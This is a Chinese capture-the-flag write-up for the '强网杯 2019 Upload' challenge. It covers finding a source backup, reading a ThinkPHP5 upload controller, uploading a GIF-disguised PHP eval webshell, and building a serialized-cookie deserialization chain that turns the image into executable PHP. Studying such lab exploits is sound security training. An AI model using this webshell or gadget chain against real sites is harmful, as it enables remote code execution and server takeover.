进入靶场
此处考点不是SQL,就正常注册并登录进去
先随便传一个
进行目录扫描,我先用爆破代替
先随便后面写个文件名
为了提供payload位置
www.tar.gz真的存在
返回浏览器修改url就自动下载了
看到tp5,应该是ThinkPHP5框架
参考此博客的思路方法c[强网杯 2019]Upload-CSDN博客
发现application
发现
断点
判断有没有注册
断点
看到login_check想到反序列化
都在提示我们用cookie传序列化字符串
上传部分也注意一下
<?php
// 命名空间声明
namespace app\web\controller;// 引入 think\Controller 类
use think\Controller;class Profile extends Controller
{// 定义类属性public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;// 构造函数public function __construct(){// 创建 Index 类的实例作为检查器$this->checker = new Index();// 使用客户端的 IP 地址生成一个唯一的上传目录名(通过 MD5 哈希)$this->upload_menu = md5($_SERVER['REMOTE_ADDR']);// 尝试切换到上级目录下的 public/upload 目录@chdir("../public/upload");// 如果该目录不存在,则创建该目录if (!is_dir($this->upload_menu)) {@mkdir($this->upload_menu);}// 切换到生成的上传目录@chdir($this->upload_menu);}// 处理图片上传的方法public function upload_img(){// 检查是否有检查器实例if ($this->checker) {// 调用检查器的 login_check 方法检查用户是否登录,如果未登录重定向到首页if (!$this->checker->login_check()) {$curr_url = "http://". $_SERVER['HTTP_HOST']. $_SERVER['SCRIPT_NAME']. "/index";$this->redirect($curr_url, 302);exit();}}// 检查是否有文件上传if (!empty($_FILES)) {// 获取上传文件的临时存储路径$this->filename_tmp = $_FILES['upload_file']['tmp_name'];// 将上传文件的名称进行 MD5 哈希并添加.png 后缀$this->filename = md5($_FILES['upload_file']['name']). ".png";// 调用文件扩展名检查方法$this->ext_check();}// 如果文件扩展名通过检查if ($this->ext) {// 检查文件是否为图片if (getimagesize($this->filename_tmp)) {// 将临时文件复制到最终存储位置@copy($this->filename_tmp, $this->filename);// 删除临时文件@unlink($this->filename_tmp);// 存储图片的完整路径$this->img = "../upload/$this->upload_menu/$this->filename";// 调用更新图片信息的方法$this->update_img();} else {// 如果文件不是图片,显示错误信息并重定向到首页$this->error('Forbidden type!', url('../index'));}} else {// 如果文件扩展名不通过检查,显示错误信息并重定向到首页$this->error('Unknow file type!', url('../index'));}}// 更新用户头像信息到数据库和 cookie 的方法public function update_img(){// 从数据库中查找用户信息$user_info = db('user')->where("ID", $this->checker->profile['ID'])->find();// 如果用户没有头像且存在新上传的头像if (empty($user_info['img']) && $this->img) {// 将头像信息更新到数据库中if (db('user')->where('ID', $user_info['ID'])->data(["img" => addslashes($this->img)])->update()) {// 更新 cookie 中的用户信息$this->update_cookie();// 显示成功信息并跳转到主页$this->success('Upload img successful!', url('../home'));} else {// 如果更新失败,显示错误信息并跳转到首页$this->error('Upload file failed!', url('../index'));}}}// 更新 cookie 中的用户信息public function update_cookie(){// 将头像信息更新到检查器的 profile 信息中$this->checker->profile['img'] = $this->img;// 将序列化并 base64 编码后的用户信息存储到 cookie 中,有效期 1 小时cookie("user", base64_encode(serialize($this->checker->profile)), 3600);}// 检查文件扩展名的方法public function ext_check(){// 将文件名按点分割,取最后一部分作为扩展名$ext_arr = explode(".", $this->filename);$this->ext = end($ext_arr);// 如果扩展名是 png,返回 1,否则返回 0if ($this->ext == "png") {return 1;} else {return 0;}}// 魔术方法 __get,用于获取不存在的属性public function __get($name){return $this->except[$name];}// 魔术方法 __call,用于调用不存在的方法public function __call($name, $arguments){if ($this->{$name}) {$this->{$this->{$name}}($arguments);}}
}
传个木马GIF89a<?php @eval($_POST['attack']);?>
得到图片路径
<img src="../upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png" height="30" width="30">
<?phpnamespace app\web\controller;
error_reporting(0);
class Profile
{public $checker;public $filename_tmp;public $filename;public $upload_menu;public $ext;public $img;public $except;public function __get($name){return $this->except[$name];}public function __call($name, $arguments){if($this->{$name}){$this->{$this->{$name}}($arguments);}}}class Register
{public $checker;public $registed;public function __destruct(){if(!$this->registed){$this->checker->index();}}}$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";
$profile->filename = "./upload/5e6f2693d111128ec4f1d7336f65b87f/956f92ddc6f28ffb49090277e0b57cf7.png";$register = new Register();
$register->registed = false;
$register->checker = $profile;echo urlencode(base64_encode(serialize($register)));
将代码运行赋值给cookie,并用蚁剑连接,就可得到flag